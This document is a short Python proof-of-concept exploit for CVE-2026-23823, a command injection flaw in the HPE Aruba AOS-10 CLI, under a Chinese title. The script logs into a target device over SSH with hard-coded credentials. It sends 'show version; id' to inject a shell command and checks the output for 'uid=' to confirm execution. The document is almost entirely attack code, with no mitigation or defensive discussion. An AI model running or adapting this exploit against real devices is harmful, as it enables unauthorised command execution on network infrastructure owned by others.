CVE-2026-23823 HPE Aruba AOS-10 命令注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-23823: HPE Aruba AOS-10 CLI Command Injection # Requires: pip install paramiko import paramiko import time # Configuration TARGET_IP = "192.168.1.1" USERNAME = "admin" PASSWORD = "password" # Payload attempts to inject a command by appending a semicolon PAYLOAD = "show version; id" def exploit(): try: # Initialize SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(f"[*] Connecting to {TARGET_IP}...") client.connect(TARGET_IP, username=USERNAME, password=PASSWORD, timeout=10) # Invoke shell shell = client.invoke_shell() time.sleep(1) # Send the malicious payload print(f"[*] Sending payload: {PAYLOAD}") shell.send(PAYLOAD + "\n") time.sleep(2) # Receive output output = shell.recv(1024).decode('utf-8') print("[+] Output received:") print(output) # Check if command injection was successful (e.g., seeing 'uid=') if "uid=" in output: print("[!] Command injection successful!") else: print("[-] Exploit failed or output not captured.") client.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()